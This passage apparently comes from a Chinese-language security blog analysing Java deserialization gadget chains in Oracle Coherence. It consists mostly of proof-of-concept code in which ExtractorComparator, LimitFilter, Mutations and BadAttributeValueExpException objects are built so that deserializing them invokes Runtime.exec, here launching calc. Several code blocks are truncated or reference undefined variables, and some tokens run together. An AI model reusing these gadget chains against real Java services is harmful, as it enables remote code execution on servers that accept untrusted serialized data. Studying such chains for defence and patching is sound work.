publicstaticvoidmain(String[] args)throws Exception { String command = "calc"; ValueExtractor[] valueExtractors = new ValueExtractor[]{ new ConstantExtractor(Runtime.class), new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}), new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}), new ReflectionExtractor("exec", new Object[]{command}) };
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
ExtractorComparator extractorComparator = new ExtractorComparator<Object>(); Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor"); m_extractor.setAccessible(true); m_extractor.set(extractorComparator, chainedExtractor);
PriorityQueue priorityQueue = new PriorityQueue(); priorityQueue.add("foo"); priorityQueue.add("bar");
Field comparator = priorityQueue.getClass().getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(priorityQueue, extractorComparator);
// 序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(priorityQueue); oos.flush(); oos.close(); // 反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object obj = (Object) ois.readObject(); } }
publicstaticvoidmain(String[] args)throws Exception { String command = "calc"; ValueExtractor[] valueExtractors = new ValueExtractor[]{ new ConstantExtractor(Runtime.class), new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}), new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}), new ReflectionExtractor("exec", new Object[]{command}) };
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
ExtractorComparator extractorComparator = new ExtractorComparator<Object>(); Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor"); m_extractor.setAccessible(true); m_extractor.set(extractorComparator, chainedExtractor);
ConcurrentSkipListMap concurrentSkipListMap = new ConcurrentSkipListMap<String, String>(); Field comparator = concurrentSkipListMap.getClass().getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(concurrentSkipListMap, extractorComparator);
// crafted Mutations Object Mutations mutations = new Mutations(); Field renamers = mutations.getClass().getDeclaredField("renamers"); renamers.setAccessible(true); renamers.set(mutations, subMap);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, mutations);
// 序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(val); oos.flush(); oos.close(); // 反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object obj = (Object) ois.readObject(); } }
String command = "calc"; ValueExtractor[] valueExtractors = new ValueExtractor[]{ new ConstantExtractor(Runtime.class), new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}), new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}), new ReflectionExtractor("exec", new Object[]{command}) };
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
ExtractorComparator extractorComparator = new ExtractorComparator<Object>(); Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor"); m_extractor.setAccessible(true); m_extractor.set(extractorComparator, chainedExtractor);
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors); LimitFilter limitFilter = new LimitFilter();
//m_comparator Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); m_comparator.setAccessible(true); m_comparator.set(limitFilter, chainedExtractor);
//m_oAnchorTop Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); m_oAnchorTop.setAccessible(true); m_oAnchorTop.set(limitFilter, Runtime.class);
// BadAttributeValueExpException toString() // This only works in JDK 8u76 and WITHOUT a security manager // https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, limitFilter);
// 序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.flush(); oos.close(); // 反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object obj = (Object) ois.readObject();
}
同样，命令链不再赘述，还是分析不同的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
// limitFilter.m_comparator=chainedExtractor LimitFilter limitFilter = new LimitFilter(); Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); m_comparator.setAccessible(true); m_comparator.set(limitFilter, chainedExtractor);
//limitFilter.m_oAnchorTop=Runtime.class Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); m_oAnchorTop.setAccessible(true); m_oAnchorTop.set(limitFilter, Runtime.class);
// badAttributeValueExpException.val=limitFilter BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, limitFilter);
